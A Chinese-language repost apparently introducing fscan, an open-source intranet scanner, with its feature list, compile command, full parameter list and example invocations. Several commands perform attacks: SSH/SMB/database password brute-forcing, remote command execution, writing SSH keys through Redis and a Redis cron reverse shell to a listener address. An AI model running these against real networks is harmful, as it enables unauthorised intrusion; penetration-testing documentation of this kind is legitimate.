简介

fscan 是一个内网综合扫描工具,方便一键自动化、全方位漏洞扫描。

它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

源码链接:https://github.com/shadow1ng/fscan

主要功能

1.信息搜集:

  • 存活探测(icmp)
  • 端口扫描

2.爆破功能:

  • 各类服务爆破(ssh、smb等)
  • 数据库密码爆破(mysql、mssql、redis、psql等)

3.系统信息、漏洞扫描:

  • 获取目标网卡信息
  • 高危漏洞扫描(ms17010等)

4.Web探测功能:

  • webtitle探测
  • web指纹识别(常见cms、oa框架等)
  • web漏洞扫描(weblogic、st2等,支持xray的poc)

5.漏洞利用:

  • redis写公钥或写计划任务
  • ssh命令执行

6.其他功能:

  • 文件保存

usege

简单用法

fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16  (B段扫描)  

其他用法

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)  

编译命令

go build -ldflags="-s -w " -trimpath  

完整参数

-Num int  poc rate (default 20)  -c string  exec command (ssh)  -cookie string  set poc cookie  -debug  debug mode will print more error info  -domain string  smb domain  -h string  IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12  -hf string  host file, -hs ip.txt  -m string  Select scan type ,as: -m ssh (default "all")  -no  not to save output log  -nopoc  not to scan web vul  -np  not to ping  -o string  Outputfile (default "result.txt")  -p string  Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,270179098,9448,8888,82,8858,1081,8879,21502,9097,8088,8090,8200,91,1080,889,8834,8011,9986,9043,9988,7080,10000,9089,8028,9999,8001,89,8086,8244,9000,2008,8080,7000,8030,8983,8096,8288,18080,8020,8848,808,8099,6868,18088,10004,8443,8042,7008,8161,7001,1082,8095,8087,8880,9096,7074,8044,8048,9087,10008,2020,8003,8069,20000,7688,1010,8092,8484,6648,9100,21501,8009,8360,9060,85,99,8000,9085,9998,8172,8899,9084,9010,9082,10010,7005,12018,87,7004,18004,8098,18098,8002,3505,8018,3000,9094,83,8108,1118,8016,20720,90,8046,9443,8091,7002,8868,8010,18082,8222,7088,8448,18090,3008,12443,9001,9093,7003,8101,14000,7687,8094,9002,8082,9081,8300,9086,8081,8089,8006,443,7007,7777,1888,9090,9095,81,1000,18002,8800,84,9088,7071,7070,8038,9091,8258,9008,9083,16080,88,8085,801,5555,7680,800,8180,9800,10002,18000,18008,98,28018,86,9092,8881,8100,8012,8084,8989,6080,7078,18001,8093,8053,8070,8280,880,92,9099,8181,9981,8060,8004,8083,10001,8097,21000,80,7200,888,7890,3128,8838,8008,8118,9080,2100,7180,9200")  -ping  using ping replace icmp  -pocname string  use the pocs these contain pocname, -pocname weblogic  -proxy string  set poc proxy, -proxy http://127.0.0.1:8080  -pwd string  password  -pwdf string  password file  -rf string  redis file to write sshkey file (as: -rf id_rsa.pub)  -rs string  redis shell to write cron file (as: -rs 192.168.1.1:6666)  -t int  Thread nums (default 600)  -time int  Set timeout (default 3)  -u string  url  -uf string  urlfile  -user string  username  -userf string  username file  -wt int  Set web timeout (default 5)  

运行截图

fscan.exe -h 192.168.x.x  (全功能、ms17010、读取网卡信息)

fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)

fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)

fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc

这个项目的开发者参考的开源项目有这些:

  • https://github.com/Adminisme/ServerScan
  • https://github.com/netxfly/x-crack
  • https://github.com/hack2fun/Gscan
  • https://github.com/k8gege/LadonGo
  • https://github.com/jjf012/gopoc

开源前哨 日常分享热门、有趣和实用的开源项目。参与维护 10万+ Star 的开源技术资源库,包括:Python、Java、C/C++、Go、JS、CSS、Node.js、PHP、.NET 等。

fscan:一键自动化、全方位漏洞扫描的开源工具相关推荐

  1. WEB漏洞扫描的开源工具

    很多受欢迎的网站都曾遭到过黑客入侵而蒙受经济损失,web 漏洞扫描器是一种软件程序,可在 Web 应用程序上执行自动黑盒测试并识别安全漏洞,扫描程序不访问源代码,只执行功能测试并尝试查找安全漏洞.在这 ...

  2. 渗透工具-fscan内网安全漏洞扫描

    fscan内网安全漏洞扫描 介绍 主要功能 ubuntu 安装 使用命令 介绍 快捷.简单的安全漏洞扫描工具fscan https://github.com/shadow1ng/fscan fscan ...

  3. web 漏洞扫描和验证工具:Vulmap使用

    文章目录 项目概述 项目简介 项目事项表 漏洞探测使用 主要参数说明 项目试运行 项目概述 项目简介 Vulmap 是一款 web 漏洞扫描和验证工具, 可对 webapps 进行漏洞扫描, 并且具备 ...

  4. 一款功能强大的Web漏洞扫描和验证工具(Vulmap)

    一款功能强大的Web漏洞扫描和验证工具(Vulmap) 文章目录 一款功能强大的Web漏洞扫描和验证工具(Vulmap) 前言 一.Vulmap 二.工具安装 三.工具选项 四.工具使用样例 五.支持 ...

  5. xray 被动_长亭xray:一款自动化Web漏洞扫描神器(免费社区版)

    xray简介 xray (https://github.com/chaitin/xray) 是从长亭洞鉴核心引擎中提取出的社区版漏洞扫描神器,支持主动.被动多种扫描方式,自备盲打平台.可以灵活定义 P ...

  6. 几款Linux系统漏洞扫描、评估工具简介

    一.Nmap Nmap 是一种常用工具,可用于判定网络的布局.我们可以在网络上使用 Nmap 来查找主机系统以及打开这些系统的端口. 1. 安装Nmap. [root@GeekDevOps ~]# y ...

  7. 系统漏洞扫描原理及工具 - 安全工具篇

    漏洞扫描器对漏洞进行扫描,以验证具体目标是否存在对应的具体漏洞.但是也存在错误扫描,需要对扫描结果进行漏洞验证. 扫描器的原理大致相同都是通过发送对应的验证数据到目标具体服务进行验证.当收到目标返回的 ...

  8. 安防工具-acunetix-web网站漏洞扫描和发现工具-2022040版本的使用及防御方抓包情况

    acunetix 20220401版本:AWVS14.7.220401065提取码:t3u7 内含激活方法的pdf,以下内容由该版本软件产生 关于软件 Acunetix是一款网络漏洞扫描软件,它可以检 ...

  9. ​​​​​​​自动化批量漏洞扫描脚本定制

    github上找到一款并发框架[POC-T](https://github.com/Xyntax/POC-T)可以优美的进行并发操作,上面所述的内容大多可以用插件联合POC-T进行. 因为POC-T不 ...

最新文章

  1. WMI技术介绍和应用——执行方法
  2. 送你9个快速使用Pytorch训练解决神经网络的技巧(附代码)
  3. Atlas Cool Application
  4. php 变量的8类类型
  5. 校园网站服务器配置参数,校园网服务器性能 配置及分布
  6. mysql 记录更新 内部_MySQL 入门(1):查询和更新的内部实现
  7. 结合swiper使用图片懒加载
  8. c mysql 插入大量数据_C++操作MySQL大量数据插入效率低下的解决方法
  9. mysql 排序后在查询
  10. shell自定义数组元素分隔符
  11. 有效解决0x0000011b共享打印机无法连接(适用所有win系统)
  12. spss分析qpcr数据_qRT-PCR差异分析及P值计算
  13. 习题 3.10 有一函数:写一程序,输入x,输出y值。
  14. python 线程锁_Python线程锁的实现
  15. laravel过滤富文本提交的标签(防止XSS等js脚本攻击)
  16. 计算机技术服务业成本核算,技术服务成本怎么核算?
  17. 可以学计算机辅修金融吗,本科计算机申请美国研究生,转金融工程,需要辅修什么专业?...
  18. addEvent函数
  19. 影吧VOD点播系统设计时,服务器该如何配置?
  20. 【极简版GH60】【GH60剖析】【二】原理图的分析

热门文章

  1. 两台虚拟机如何ping通
  2. python 使用parameterized进行参数
  3. 第018课 ADC和触摸屏硬件原理详解及裸机编程
  4. 我什么时候应该使用 ‘self‘ 而不是 ‘$this‘?
  5. 零成本系列丨盏茶的功夫,零成本搭建了一个自己的博客网站
  6. Java中方法重写和方法重载的6个区别?
  7. Python数据分析与案例教程:分析人口普查数据-欧阳桫-专题视频课程
  8. 好看的动态组织架构图的实现(JavaScript InfoVis Toolkit)
  9. 达人评测 iPad Pro 2021和2020的区别
  10. Redis应用场景举例